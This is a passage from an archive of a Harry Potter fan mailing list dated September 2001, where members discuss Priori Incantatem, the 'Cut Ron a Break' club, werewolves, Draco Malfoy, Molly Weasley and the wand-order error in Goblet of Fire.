> would it look like/sound like, anyway?  The first AK against Harry 
is 
> similarly abstract and might not produce any kind of noticeable 
echo (though 
> a crying baby does seem likely and would be heart-wrenching).  And 
as for 
> things like Wormtail starting the fire, maybe a flicker of echoed 
fire does 
> emerge from V's wand; I think it would be a bit tedious of JKR to 
tell us 
> this and every other single thing that came out.  She chooses a few 
vivid 
> things, like the screams of Cruciatus victims and the very concrete 
silver 
> hand, and that's enough in my view.
> 

There are three issues:  what would these omitted spells look like, 
does it makes sense to include them, and can JKR get away with 
omitting them?

As for whether it makes sense to include them, my opinion is that it 
does.  We are literally talking about adding a sentence fragment per 
spell.  Cruciatus = "more shouts of pain" and "More screams of pain 
from the wand."  Wormtail's fire would read as "... then a spray of 
sparks ... "  or some such.  Making the sequence complete would be 
simple, so I think either JKR meant to omit those things for a plot 
reason, or just didn't think of it and decided not to fix it.

As for what thing would come out as Imperius, I have an idea.  The 
regurgitated spells have something in common -- they are the "result" 
of whatever spell it was.  Murdered people are shadows, not a flash 
of light.  Cruciatus is the scream.  So Imperius could be 
the "result" of V's use of the spell -- in the graveyard, Harry's 
saying "I won't."  (Amy, the crying baby is a great idea that didn't 
occur to me at all).

Now, keep in mind that this idea of how to represent the Imperius 
curse is off the top of my head.  If Scholastic told me to go away 
for a week and come up with a list of 5 great ideas for what ought to 
represent the Imperius Curse, I'd accept the challenge, and I'll also 
bet most members of this group could do even better than me.  I don't 
think it is an insurrmountable task.

As for whether JKR just picked the most vivid things and 
intentionally omitted others to avoid clutter . . . well, I'm hoping 
Luke will explain this concept of what things are OK to admit and 
what things are not.  Until then, I have to reserve judgment.

Cindy (wondering what "beating a dead horse" would look like coming 
out of Voldemort's wand)




From linman6868 at aol.com  Mon Sep 10 15:58:54 2001
From: linman6868 at aol.com (L. Inman)
Date: Mon, 10 Sep 2001 15:58:54 -0000
Subject: A Brief C.R.A.B.ber's Manifesto
Message-ID: <9ninvu+656f@eGroups.com>

No: HPFGUIDX 25871

Hello all --

First of all, thanks to everyone who has subscribed to C.R.A.B. so 
far.  Your badges will be arriving by owl shortly.  :)

Thanks also to Cindy, who asked specifically for the raison d'etre of 
C.R.A.B.  I'm glad you asked.  It's not just about magical talent:  
see, I was going to call our club Cut Ron a Break and Stop Saying 
He's Not a Good Enough Person to be Harry's or Hermione's Friend, but 
that wouldn't fit on the badge.  So that's the heading of our 
manifesto.  ;)

You don't have to be a Ron *fanatic* to be a member of C.R.A.B.  You 
don't even have to be an R/H shipper.  All you have to do is feel a 
little indignation whenever someone makes sweeping and unfavorable 
generalizations about Ron's character.  Or compares him with 
Wormtail, to Wormtail's advantage.  Or does the same with other 
characters including Draco Malfoy, Percy, etc., in such a way as to 
be merely dismissive.

That said, I as the founding member of C.R.A.B. will welcome 
criticisms of Ron, granted that they are grounded in specific canon 
examples, arguable from more than one side, and made in the spirit of 
mutual inquiry.  Which is what most people tend to ask for concerning 
their favorite characters, I've noticed.  (Snape, anyone?)

I realize I'm sticking my neck out somewhat by declaring Ron so 
eminently defensible; especially since there are 3 books to go and 
even I don't believe Harry, Ron and Hermione will get through them 
without some separation, misunderstanding, or stupidity -- and if 
such happens I expect Ron to come in for his share of the stupidity.  
Nevertheless, I have a great deal of confidence in Ron to come out 
all right in the end -- the continuities in his character suggest he 
will have a rough time and then land on his feet, just as the 
continuities in Harry's character suggest he has unrealized 
potential, and Hermione's suggest she's about to come into her own.

It might be noted from the above that building up Ron does not depend 
on tearing down Harry, Hermione, or anyone else; but occasionally a 
just reproportion of blame is called for in discussion of sundry 
canon incidents.

Position thus stated; hat thus doffed; badge (or gauntlet) thus 
proffered.  :)

Lisa I.




From mariannayus at yahoo.com  Mon Sep 10 16:37:32 2001
From: mariannayus at yahoo.com (Marianna Lvovsky)
Date: Mon, 10 Sep 2001 09:37:32 -0700 (PDT)
Subject: Can't find Vanity Fair
In-Reply-To: <9nh8bf+nd6n@eGroups.com>
Message-ID: <20010910163732.16398.qmail@web14408.mail.yahoo.com>

No: HPFGUIDX 25872

It's the october issue, right?

So where are all you lucky people getting it from in
September? I went both to Barnes and Noble and a local
magazine shop and all they have is a september issue.
Waaahhhh. But at least EW story is cool.

So, where can I get VF?

Marsha/Marianna

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From ra_1013 at yahoo.com  Mon Sep 10 16:20:33 2001
From: ra_1013 at yahoo.com (Andrea)
Date: Mon, 10 Sep 2001 09:20:33 -0700 (PDT)
Subject: C.R.A.B.
In-Reply-To: <9nia06+gvm1@eGroups.com>
Message-ID: <20010910162033.90023.qmail@web10905.mail.yahoo.com>

No: HPFGUIDX 25873

--- katzefan at yahoo.com wrote:
> > Amy Z. answered:
> >Cut Ron a Break, founded by Lisa I. in msg. #25575,
> too 
> >recently to be included in the VFAQs.  We can see
> if it catches 
> >on.  Come on, folks, only 2 Sickles to join!
> 
> Ok, here's my 2 Sickles and I'll throw in a couple
> more for some 
> badges... I *like* Ron, darn it, and it can't be
> easy trying to live
> up to all his older brothers have done, and having a
> best friend 
> who's almost always the centre of attention (not
> usually by intent) 
> and then having a crush on the valedictorian of the
> class! 

[throws in her own 2 Sickles] I'd like to be signed up
for membership as well, and here here to everything
you said about Ron!  I think people *do* expect
entirely too much of the poor boy.  He's our
"everyman" character - the one who gives Harry a
glimpse of ordinary wizarding life.  Hermione's the
brain, but she's just as new to the wizard world as
Harry is. (Which might be why she's constantly
spouting wisdom from "Hogwarts, A History".)

Ron is mentioned specifically as having about the same
marks as Harry, so he's not a total idiot in school. 
He'd just rather not spend much of his time on it,
which isn't exactly uncommon for 11-14 year old boys. 
I suppose my heart just went out to him from the very
beginning when I heard about all his talented older
brothers.  I spent too much of my school life as
"Adam's little sister" not to empathize!

In short, Ron is a good kid with a short temper but a
good heart.  He deserves a break, people! *nods firmly
and starts sewing on her CRAB badge*


Andrea
7 1/2 inches, maple, phoenix feather

=====
"Reality is for people who lack imagination."

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From sdrk1 at yahoo.com  Mon Sep 10 16:58:01 2001
From: sdrk1 at yahoo.com (Stephanie Roark Keener)
Date: Mon, 10 Sep 2001 16:58:01 -0000
Subject: Werewolves
In-Reply-To: <9nh2dh+evcp@eGroups.com>
Message-ID: <9nirep+rqpr@eGroups.com>

No: HPFGUIDX 25874

--- In HPforGrownups at y..., catherine at c... wrote:
> Hi all,
> > Are there werewolves in the FF?  Is it a myth, created to scare 
the 
> Hogwarts students?  

Maybe it's a rumor left over from Lupin's days in school.  Like the 
Shreiking Shack being huanted.  It was him all along.

And on the condition being genentic -- I don't think so but, um 
having a background in the humanities, I'm afraid to venture much 
further on this subject.  In the past, we've compared in to HIV and 
rabies and malaria (?) -- but, having had a family member with cancer 
recently -- I get the impression it's more like that:  A virus that 
forcibly transfigures your cells.  Only, in this case, it happens 
only during the full moon.  Is there some M.D. or biologist out there 
who could come up with really interesting,and plausible ;) theroy?  
Or, maybe someone's already done this in FanFic?  BTW, there are 
those of us who would really like it if the virus were only 
transmittable during the transfigured phase.

Stephanie




From oppen at cnsinternet.com  Mon Sep 10 17:10:14 2001
From: oppen at cnsinternet.com (Eric Oppen)
Date: Mon, 10 Sep 2001 12:10:14 -0500
Subject: Why We (Some of us, anyway) Love Draco
Message-ID: <016501c13a1b$76244120$dec71bce@hppav>

No: HPFGUIDX 25875

I've followed the arguments on here about why so many people, especially
fanfic authors, have tried to rehabilitate Draco Malfoy, with considerable
interest.  Being a fanfic writer myself (current project: "Harry Potter and
the One Ring of Power," a Tolkien-JKR crossover) I've been doing some
thinking about this.

Partly, for us fanfic writers, it's just because...Draco-as-a-character can
be a lot of fun to write!  He's snarky, snide, vicious when crossed, and
does things that we highly-civilized fanfic writers would never, EVER do!
He adds tension to the existing relationships (as a rival for the affections
of the female characters, among other things) and can say and do things
without being too out-of-character that Harry or Ron would never be likely
to do.  He's kind of like "the Great Brain" in the John Fitzgerald
books...the Great Brain _often_ uses his intelligence in ways that their
elders wouldn't approve of, including trying to get a teacher he dislikes
framed up and fired.  And he's the hero of the stories!

Partly, also, because I think a lot of us recognize that at age fifteen,
Draco Malfoy is far, _far_ from being bad enough to qualify as an
unredeemable monster.  We dislike him in canon because we see things through
Harry's eyes, but as S.M. Stirling pointed out to me in e-mail once,
"everybody's a hero in their own story."  It would be, and to fanfic writers
is, interesting to look at things from Draco Malfoy's point of view, and see
how different the Potterverse looks from there.

Actually---at age fifteen, Draco's just about at the age to start rebelling
against his father, particularly since the man seems to be very domineering
and controlling.  Teenagers and young adults _love_ p*ssing off the older
generation---what would make Lucius Malfoy madder than having Draco not only
renounce evil (possibly dumping the Thickie Twins, Crabbe and Goyle, and
taking up with some Slytherins who can at least speak coherent English) but
come around to being a ferociously committed opponent of it?  I can see
Malfoy Senior going into vintage I-fathered-a-hippie rants..."I gave you
everything, and this is how you repay me---an Auror you'd become!  Such a
shame for the neighbors!"   We don't see this so much in the other
characters, except for Bill Weasley's hair and Gred-and-Forge's joke
shop...Harry Potter doesn't _need_ to rebel against the older generation;
the Dursleys are _already_ enough to turn Confucius into Abbie Hoffman, and
it would be quite out of character for Hermione-the-rule-abiding.




From vderark at bccs.org  Mon Sep 10 17:11:19 2001
From: vderark at bccs.org (Steve Vander Ark)
Date: Mon, 10 Sep 2001 17:11:19 -0000
Subject: Ron on teams - why did Harry do that?
In-Reply-To: <F207A9MIl6lEwFcxT1o0000ac25@hotmail.com>
Message-ID: <9nis7n+i3bk@eGroups.com>

No: HPFGUIDX 25876

--- In HPforGrownups at y..., "Amy Z" <aiz24 at h...> wrote:

> 
> Also, you need money to play Quidditch--unfair, but true

This strikes me as being a very likely reason why Ron isn't on the 
house team. My own kids run into the same thing. I teach at a small 
Christian school, which means my pay is signigicantly less than that 
of my public school counterparts. Significantly. We get no reduction 
in tuition, either, so we shell out the 9000 per year to send the two 
kids to the school I teach at. That means that my 13-year-old 
daughter doesn't own twelve Old Navy/Abercrombie/whatever shirts, she 
owns one and then a few not-so-prestigious alternatives. It means 
that my son doesn't take karate even though he wants to because his 
sister dances on a competition team. It means that my daughter, the 
dancing one, works several hours a week at the dance studio to help 
defray expenses. And if my kids each needed an expensive broom to 
play Quidditch, well, one of them wouldn't play. That's just the way 
it is. 

So why haven't we heard about it in Ron's case? Think about it. Do 
you think my kids blather on to anyone who'd listen that they don't 
have six pairs of the coolest jeans in various shades of blue? No 
way. They just don't talk about it. They understand and they accept 
and they just don't talk about it. I'm sure my daughter discusses it 
with her best friend, of course, and we do hear Ron do that 
occasionally too, but more often than not, they just don't talk about 
it.

Now if I could just find a way to make MONEY with the Lexicon, I'd be 
all set...Hmmm...


> 
> Cindy says:
> 
> >Then there was Harry's failure to
> >use a Summoning charm to obtain the Marauder's Map when his leg was
> >stuck in the stair.  I would have liked to see him mentally 
chastise
> >himself for not thinking of this faster.


There's actually a short essay in the Lexicon about this sort of 
thing called "Why Did Harry Do That." You'll find it here:

http://www.i2k.com/~svderark/lexicon/why_did.html

Steve Vander Ark
The Harry Potter Lexicon
http://www.i2k.com/~svderark/lexicon




From cynthiaanncoe at home.com  Mon Sep 10 17:17:21 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Mon, 10 Sep 2001 17:17:21 -0000
Subject: Can't find Vanity Fair
In-Reply-To: <20010910163732.16398.qmail@web14408.mail.yahoo.com>
Message-ID: <9nisj1+bj7t@eGroups.com>

No: HPFGUIDX 25877

--- In HPforGrownups at y..., Marianna Lvovsky <mariannayus at y...> wrote:
> It's the october issue, right?
> 
> 

I just scored the second-to-last issue from 7-11.  They must have 
some deal with JKR, because they have a lot of Potter merchandise.  
My local grocery store did not have it.

Hurry up and get over there!

Cindy




From cynthiaanncoe at home.com  Mon Sep 10 17:25:40 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Mon, 10 Sep 2001 17:25:40 -0000
Subject: A Brief C.R.A.B.ber's Manifesto
In-Reply-To: <9ninvu+656f@eGroups.com>
Message-ID: <9nit2k+gv8c@eGroups.com>

No: HPFGUIDX 25878

> 
> Thanks also to Cindy, who asked specifically for the raison d'etre 
of 
> C.R.A.B.  I'm glad you asked.  It's not just about magical talent:  
> see, I was going to call our club Cut Ron a Break and Stop Saying 
> He's Not a Good Enough Person to be Harry's or Hermione's Friend, 
but 
> that wouldn't fit on the badge.  So that's the heading of our 
> manifesto.  ;)
> 

OK, then.  I get it now.  It isn't about Talent; it's about 
Character.  I feel much better now.  

In defense of Ron's Character, I've never had a major problem with 
it.  (Well, I can't say "never", because as a Lupin fan, I didn't 
appreciate that "Get away from me, Werewolf" business at all).  But 
when the going gets tough, Ron always proves himself pretty tough.  
(Well, I can't say "always", because he was willing to treat Harry as 
a liar in GoF).  But I'm a sucker for a character with a good sense 
of humor and a quick wit, and that makes up for a few of Ron's more 
unfortunate moments.  And Ron wins big points for being "man" enough 
to hang out with someone who will probably always overshadow him.   
And you C.R.A.B.s are quite correct that there is a huge heroic event 
lurking in Ron's future.  I won't be at all surprised.

Cindy (finally willing to pry two sickles out of her pocket and beg 
for membership)




From vderark at bccs.org  Mon Sep 10 17:58:44 2001
From: vderark at bccs.org (Steve Vander Ark)
Date: Mon, 10 Sep 2001 17:58:44 -0000
Subject: Werewolves
In-Reply-To: <9nirep+rqpr@eGroups.com>
Message-ID: <9niv0k+4jk6@eGroups.com>

No: HPFGUIDX 25879

--- In HPforGrownups at y..., "Stephanie Roark Keener" <sdrk1 at y...> 
wrote:
> --- In HPforGrownups at y..., catherine at c... wrote:
> > Hi all,
> > > Are there werewolves in the FF?  Is it a myth, created to scare 
> the 
> > Hogwarts students?  
> 
> Maybe it's a rumor left over from Lupin's days in school.  Like the 
> Shreiking Shack being huanted.  It was him all along.


Another interesting point is that JKR doesn't always go along with 
the accepted descriptions of magical creatures. The Boggart is an 
excellent example, since the Boggart of folklore is definitely not 
the Boggart of PA/GF. So her version of werewolves wouldn't have to 
follow the "rules" we all accept. Now in the case of cubs, she said 
herself that when Tom Riddle said that about Hagrid, Riddle was just 
slandering him. But we might be able to explain the whole "moon comes 
out, Lupin transforms" problem.

Steve 




From foxmoth at qnet.com  Mon Sep 10 18:05:43 2001
From: foxmoth at qnet.com (foxmoth at qnet.com)
Date: Mon, 10 Sep 2001 18:05:43 -0000
Subject: Super Molly-GoF dissatisfaction C.R.A.B.
Message-ID: <9nivdn+9o3q@eGroups.com>

No: HPFGUIDX 25880

	It could be a Flint that Molly says Rita's a wretched woman in an 
earlier chapter and then believes her about Hermione, but I don't think 
so, nor do I think it was done simply for comic effect. It's a 
foreshadowing of Fudge's behavior in the Parting of the Ways. *He* 
certainly has reason to know that Rita's reporting is unreliable, but 
he falls for the story about Harry. Jo is  pointing out the way in 
which most of us take what's written with far too few grains of salt, 
even after we've had experience of the way the media can distort a 
story.
	Blind spots, big and small, are a major theme of the series. After 
all, the central premise is that there's a whole magical world, 
partially hidden by charms and spells, but mostly by the fact that we 
Muggles are too cloddish to notice it.  All the characters we've seen 
have some blindness about them, even Dumbledore. Molly is not 
omniscient or all-wise. She puts a little too much trust in the written 
word, just as Fudge puts too much in *purity of blood*.
	
	I was around for the wand hoo-hah. I even came up with a far 
fetched theory to explain it, but IIRC most of our remarks were 
prefaced with a "well, it could just be a mistake but..." So I wasn't 
disappointed in Jo when that's what it turned out to be, even though I 
was a little let down to realize it wasn't a Clue after all. That 
needn't mean there aren't *any* clues in the text. I continue to 
believe that Rowling has a reason for informing us once and only once 
in each book that Snape resembles a bat. <g>
	Authors, even great ones, make mistakes and change their minds. 
I'm not enough of a C.S.  Lewis freak to hunt up errors and 
inconsistencies in his texts, but Tolkien certainly had them. He 
rewrote major portions of the Hobbit after he'd conceived the Lord of 
the Rings, and worked it into the story by saying that Bilbo simply 
hadn't put the truth in his journal. Clever, but not neccessary...would 
the Lord of the Rings  be a lesser work if Tolkien hadn't accounted for 
the differences between it and the orginal Hobbit?
	Lastly, I'd like to throw in my two sickles for C.R.A.B. It's 
about time!
Pippin





From mariannayus at yahoo.com  Mon Sep 10 19:08:57 2001
From: mariannayus at yahoo.com (Marianna Lvovsky)
Date: Mon, 10 Sep 2001 12:08:57 -0700 (PDT)
Subject: [HPforGrownups] SuperMolly - Elective CoMC - Priori Incantatem - Werewolves -  The First  Task
In-Reply-To: <3B9C2A49.C5F033D7@wicca.net>
Message-ID: <20010910190857.88727.qmail@web14401.mail.yahoo.com>

No: HPFGUIDX 25881


> 
> > I have always explained it by the 
> > following: "The first task is designed
> > to test your daring."  GOF-AE p281.
> 
> > How daring would a simple summoning 
> > charm be?  It would be like an olympic
> > diver doing a simple half-turn.  Very
> > safe, but not worth a whole lot of points.
> 
> But Harry DID do a Summoning Charm and got HIGH
> POINTS from all the
> judges except Karkaroff, whose unfairness in this
> scoring I have always
> assumed to be a little joke about the Soviet judges
> in the Olympics,
> back when there was a Soviet Union.

He summoned his broomstick, it is true, but he still
had to fly it around the dragon, try to distract it,
etc, thus demonstrating the required daring. If he
just stood 20 yards away from the dragon and said
accio egg, where would be the daring in that?

marsha/Marianna

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From AgentIrish at yahoo.com  Mon Sep 10 19:20:49 2001
From: AgentIrish at yahoo.com (Maggie Connolly)
Date: Mon, 10 Sep 2001 12:20:49 -0700 (PDT)
Subject: [HPforGrownups] Can't find Vanity Fair
In-Reply-To: <20010910163732.16398.qmail@web14408.mail.yahoo.com>
Message-ID: <20010910192049.87763.qmail@web20008.mail.yahoo.com>

No: HPFGUIDX 25882

Hi, 

My understanding is that the October issue is coming
out tomorrow - Sept 11th.  I believe it was issued a
week early in New York.

One more day :)

--- Marianna Lvovsky <mariannayus at yahoo.com> wrote:
> It's the october issue, right?
> 
> So where are all you lucky people getting it from in
> September? I went both to Barnes and Noble and a
> local
> magazine shop and all they have is a september
> issue.
> Waaahhhh. But at least EW story is cool.
> 
> So, where can I get VF?
> 
> Marsha/Marianna
> 
> __________________________________________________
> Do You Yahoo!?
> Get email alerts & NEW webcam video instant
> messaging with Yahoo! Messenger
> http://im.yahoo.com
> 


=====
Cheers, Maggie

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From mariannayus at yahoo.com  Mon Sep 10 19:37:51 2001
From: mariannayus at yahoo.com (Marianna Lvovsky)
Date: Mon, 10 Sep 2001 12:37:51 -0700 (PDT)
Subject: Molly's mistake.
In-Reply-To: <20010808155140.77637.qmail@web14404.mail.yahoo.com>
Message-ID: <20010910193751.76913.qmail@web14402.mail.yahoo.com>

No: HPFGUIDX 25883

I don't think Molly's coldness to Hermione after the
Skeeter article is unreasonable/out of character.

Look at the evidence:

1. She is a fiercely protective woman, and Harry is
like a son to her. Any hint of trouble with Harry and
she jumps to his defense. Borrowing an example from my
family, if one of my grandmothers (though a woman full
of common-sense) found out froma gossipy aquiantance
that I and my boyfriend weren't getting along, I am
sure her first reaction would be to get all protective
and angry at anyone who could even possibly harm her
little Marsha. Molly is the same. 

2. The biggest (and in canon evidence): Book 2. Look
at her reaction to Lockhart. She is as moony over him
as a teenager. Hermione has an excuse: she is 12.
Molly doesn't. The Rita asrticle incident is an
extention of that. Despite her obbious merit and
strengths, she strikes me as the type of woman who
would read tabloids for fun, and is easily swayed by
selebrity. She knows Rita lied in an article about her
husband, but in any other matter, it's the same as the
Lockhart incident: she is easily swayed by tabloid
(Lockhart's level IMO) culture.

Marsha/Marianna

P.S. As re: wand order, it never bothered me. Every
author makes a mistake now and then.

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From justanopinion2001 at hotmail.com  Mon Sep 10 20:29:26 2001
From: justanopinion2001 at hotmail.com (justanopinion2001 at hotmail.com)
Date: Mon, 10 Sep 2001 20:29:26 -0000
Subject: British v. American Versions
Message-ID: <9nj7r6+tvi5@eGroups.com>

No: HPFGUIDX 25884

This message has to do with some old messages about Ch. 1 of GoF and 
the "murder" that will leave Voldemort's path clear to Harry.  I read 
those messages, and now I'm really confused.  

I have two copies of GoF:  One purchased in London September 2000, 
and one purchased in the U.S., maybe in April 2001.  I am hoping that 
someone can tell me what the editors are doing regarding the 
correction of two flints:

In my U.K. version, the wand order is wrong.  Also, in Ch. 1, when 
Wormtail and Voldemort are discussing the murder before Harry's, they 
refer to it as a "curse,"  which leads to the conclusion that they 
are speaking of Wormtail's reluctance to subdue the real Mad Eye so 
that Crouch can become Mad Eye.  Or maybe the curse to subdue Crouch 
Sr.

In my U.S. version, which had to be printed later, the wand order is 
corrected.  But in Ch. 1, the text refers to a "murder" that will 
clear the way to Harry.  I cannot figure out who this could possibly 
be that they are referring to.  (I could quote the whole text, if 
anyone needs me to, but I won't so that this message will be shorter).

So what's going on?  I find it hard to believe that the U.S. editors 
would just randomly change "curse" to "murder" without JKR's 
authority (didn't she say that all changes made for the U.S. versions 
are with her express approval)?  If JKR meant to make this change, 
why? Is there something about the editing of subsequent versions of a 
book that I don't understand?  Can anyone help?

Laura




From magpie1112 at yahoo.com  Mon Sep 10 20:35:30 2001
From: magpie1112 at yahoo.com (magpie1112 at yahoo.com)
Date: Mon, 10 Sep 2001 20:35:30 -0000
Subject: A Brief C.R.A.B.ber's Manifesto
In-Reply-To: <9ninvu+656f@eGroups.com>
Message-ID: <9nj86i+ublb@eGroups.com>

No: HPFGUIDX 25885

--- In HPforGrownups at y..., "L. Inman" <linman6868 at a...> wrote:
> You don't have to be a Ron *fanatic* to be a member of C.R.A.B. 
> You don't even have to be an R/H shipper.  All you have to do is 
> feel a little indignation whenever someone makes sweeping and 
> unfavorable generalizations about Ron's character.  

I don't know if I'd call myself a Ron fanatic (perhaps a Lupin 
fanatic?), but I *am* a R/H shipper....I agree with a prior post that 
called Ron our Everyman.  I don't think he lacks anything in the 
brain department; I just think he is a kid who is trying desperately 
to muddle through the twin agonies of school and growing up.  And 
he's got his work cut out for him.  Let's take a look at his 
siblings, shall we?

1)  Bill:  The cool one
2)  Charlie:  The one who is good with animals
3)  Percy:  The smart one (or as Gred & Forge would say, The Wet)
4)  Gred & Forge:  The funny one(s)
5)  Ginny:  The baby (and only girl)

Add to that the fact that Hermione is a terrific student (and leader 
in the Prefect/Head Girl olympics), and Harry has been brushed by 
greatness.  Ron has to carve out his own, gloriously different, 
personality from all these?  No wonder when Ron glimpses into the 
Mirror of Erised the "deepest, most desperate desire of [his] heart" 
is to be special. (snif!)  What child doesn't want that?

> I realize I'm sticking my neck out somewhat by declaring Ron so 
> eminently defensible; 


Oh, go on!  If that's the case, yours isn't the only head on the 
block.  Here are my two sickles, plus an extra for a badge.  

- Denise




From katzefan at yahoo.com  Mon Sep 10 20:48:35 2001
From: katzefan at yahoo.com (katzefan at yahoo.com)
Date: Mon, 10 Sep 2001 20:48:35 -0000
Subject: In defense of JKR and dead horses everywhere
Message-ID: <9nj8v4+muaf@eGroups.com>

No: HPFGUIDX 25886

>From:??justanopinion2001 at h...

>I've been following this wand order correction discussion with 
>interest.  I have to say that I am a little surprised at some of the 
>statements made....
>I thought the point here was for people to discuss the books 
>and canon and to enjoy noodling about these issues.  If people 
>are of the view that this one, isolated wand order thing is the 
>end of their admiration for JKR, well, OK.  If noodling isn't any 
>fun for someone because of it, that's unfortunate.  But for me, 
>the error just shows how difficult the whole process must be 
>and how tightly plotted and well-thought out the books are and 
>have to be.
>As for the way the error was fixed, I think people are blowing it 
>out of proportion. ...Just fix it and be more careful next time.  
>That's what they did. I don't think JKR owed her fans anything 
>more, and I personally don't have a problem with that.

>Laura

I had a nice, lengthy, carefully worded (I hoped) defence of JKR 
drawn up and was just fine-tuning it ... however, I think Laura has 
said it far more concisely and effectively than my would-be post, 
so will just trash mine, salute Laura and her moderate and 
sensible offering, and go off (*sigh*) to work.



>Cindy (wondering what "beating a dead horse" would look like 
>coming out of Voldemort's wand)

Don't know what it would *look* like, but how about  sound 
effects of 'ThwackThwackThwack' periodically interrupted by 
shouts of 'Enough already!' ....?







From borg3892000 at yahoo.com  Mon Sep 10 20:46:42 2001
From: borg3892000 at yahoo.com (borg3892000 at yahoo.com)
Date: Mon, 10 Sep 2001 20:46:42 -0000
Subject: Malfoy's Redemption
In-Reply-To: <9nhn50+4jru@eGroups.com>
Message-ID: <9nj8ri+m0dn@eGroups.com>

No: HPFGUIDX 25887

--- In HPforGrownups at y..., cimorene21 at h... wrote:
> --- In HPforGrownups at y..., meboriqua at a... wrote:
> > --- In HPforGrownups at y..., "Haggridd" <jkusalavagemd at y...> wrote:
> > 
> >   I think that while Draco Malfoy is, indeed, a snarky little 
pill, 
> he's by no means irredeemable-- he's a jerk, he's a racist-- but he 
> isn't all-out EVIL. On the other hand, Rowling really hasn't shown 
> any signs of his being a decent sort underneath it all--the most 
> compelling evidence of his nastiness, I think, is his behavior in 
CoS 

Hi everyone.

New poster here.

I'm not sure about Draco.  After all, in the first book, when he 
discovered that Hagrid had a dragon, he didn't turn Hagrid and Harry 
in as he might have.  Remember, it was at least 2 weeks that he new, 
and he didn't do anything with the information.

Even later, when he discovered that the gang was going to have the 
dragon picked up from the astronomy tower, the most that Draco did 
was to sneak out of bed and attempt to attend.

It wasn't until he got caught that he started spouting about the 
dragon and Harry.

I have to wonder what he was planning on doing that night before he 
got caught.

Is Draco truely bad, or is he just a spoiled kid that discovered 
somehow that Harry thinks the worst of him, so now he has to live up 
to the image.




From magpie1112 at yahoo.com  Mon Sep 10 21:03:56 2001
From: magpie1112 at yahoo.com (magpie1112 at yahoo.com)
Date: Mon, 10 Sep 2001 21:03:56 -0000
Subject: A Brief C.R.A.B.ber's Manifesto
In-Reply-To: <9ninvu+656f@eGroups.com>
Message-ID: <9nj9rs+ufj1@eGroups.com>

No: HPFGUIDX 25888

--- In HPforGrownups at y..., "L. Inman" <linman6868 at a...> wrote:
<snip> 
> You don't have to be a Ron *fanatic* to be a member of C.R.A.B.  
> You don't even have to be an R/H shipper.  All you have to do is 
> feel a little indignation whenever someone makes sweeping and 
> unfavorable generalizations about Ron's character.  


I don't know if I'd call myself a Ron fanatic (perhaps a Lupin 
fanatic), but I *am*  R/H shipper....I agree with a prior post that 
called Ron our Everyman.  I don't think he lacks anything in the 
brain department; I just think he is a kid who is trying desperately 
to muddle through the twin agonies of school and growing up.  And 
he's got his work cut out for him.  Let's take a look at his 
siblings, shall we?

1)  Bill:  The cool one
2)  Charlie:  The one who is good with animals
3)  Percy:  The smart one (or as Gred & Forge would say, The Wet)
4)  Gred & Forge:  The funny one(s)
5)  Ginny:  The baby (and only girl)


Add to that his friends - Hermione is a terrific student (and leader 
in the Prefect/Head Girl Olympics), and Harry has been brushed by 
greatness.  Ron has to carve out his own, gloriously different, 
personality from all these?  No wonder when Ron glimpses into the 
Mirror of Erised the "deepest, most desperate desire of [his] heart" 
is to be special! (snif!)  What child doesn't want this?


> I realize I'm sticking my neck out somewhat by declaring Ron so 
> eminently defensible; 


Oh, go on!  If that's the case, your head isn't the only one on the 
block.  Here are my two sickles, plus an extra for a badge.

- Denise




From meboriqua at aol.com  Mon Sep 10 21:18:50 2001
From: meboriqua at aol.com (meboriqua at aol.com)
Date: Mon, 10 Sep 2001 21:18:50 -0000
Subject: JKR vs C.S. Lewis
In-Reply-To: <006901c139d9$773a9920$5690aecb@price>
Message-ID: <9njanq+p2og@eGroups.com>

No: HPFGUIDX 25889

--- In HPforGrownups at y..., "Tabouli" <tabouli at u...> wrote:

 the Narnia series (which I love) doesn't have the glitches of 
internal consistency we're picking up in the HP series, at least, not 
that I've noticed.  However, I'd also argue that Narnia sits fairly 
safely in the middle childhood department, with a pretty, desexualised 
world, minimal character development, simple dualist moral messages a 
la Christian ideology, and fairly uncomplicated, discrete borrowings 
from mythology and folklore (Father Christmas, fauns, dryads, etc.).  
> 
> OK, I'm bracing myself for the responses...>

Tabouli, I am surprised that no one else has responded to this yet.  I 
happen to agree with you, even though I do understand Steve's 
comments.

I wrote my senior thesis on The Chronicles of Narnia and even though I 
adore the series, I actually found some pretty big and irritating 
inconsistencies (please don't ask what they were because I should be 
doing my lesson plans right now and I just don't have it in me to go 
through Narnia again!) and The Last Battle makes me downright angry.  
Give me Harry any day.

Another difference that, to me, makes JKR more appealing is the fact 
that HP is all about Harry Potter.  We see him grow and develop and I 
really like that (of course the fact that I am madly in love with 
Harry biases me just a bit).  I don't think any of CS Lewis's 
characters develop throughout the series.  Lucy seems as young in The 
Last Battle as she was in The Lion, the Witch and the Wardrobe.  Lewis 
also switched focus from the four siblings to Edmund, to Jill, etc.  I 
like the time JKR takes to let us get to know Harry.

JKR as a writer has me hooked to the point where I cannot stop reading 
HP - maybe she really is a witch and did cast that spell Ron got so 
excited about in CoS!  The fact that there are 2000 of us obsessed 
enough to join a website all about Harry to talk about Harry and the 
fact that I actually agreed to be a List Elf when I do NOT know about 
computers even a little is more than enough proof that she is, IMO, a 
super duper writer.

--jenny from ravenclaw ********************




From pennylin at swbell.net  Mon Sep 10 21:34:29 2001
From: pennylin at swbell.net (Penny & Bryce)
Date: Mon, 10 Sep 2001 16:34:29 -0500
Subject: More on Wand Order Mistake
References: <9nikoo+k79i@eGroups.com>
Message-ID: <3B9D31E5.4060206@swbell.net>

No: HPFGUIDX 25890

Hi --

justanopinion2001 at hotmail.com wrote:

> 
> I've been following this wand order correction discussion with
> interest.  I have to say that I am a little surprised at some of the
> statements made.  Collectively, the tone sounds a little bit
> like "JKR didn't handle this the way she should have (and she didn't
> consult this group), so I'm not going to play any more."

Speaking for myself (and my interpretation of Steve's message on this 
topic), I'd say you've read this wrong.  Of course we don't expect her 
to have consulted this group!  As Steve said, we just figured that if we 
could come up with creative explanations for the "error," then we figure 
she could also.  Doesn't mean that she *should* have done anything other 
than she did; it just means we noted that she *could* have taken other 
routes.

  Also, I
> sense a bit of condscension toward newbies ("You weren't there in the
> beginning, so you can't possibly understand, so any new or restated
> ideas about these errors aren't as important because the old-timers
> have worked this all out already").  That's probably not what was
> intended, of course, but it did occur to me.

Again, I think you're mis-reading.  Perhaps you missed the original 
question(s) where someone (or more than one person IIRC) said that they 
didn't understand why some of us had a problem with the way the wand 
order correction was handled.  Steve was merely trying to explain the 
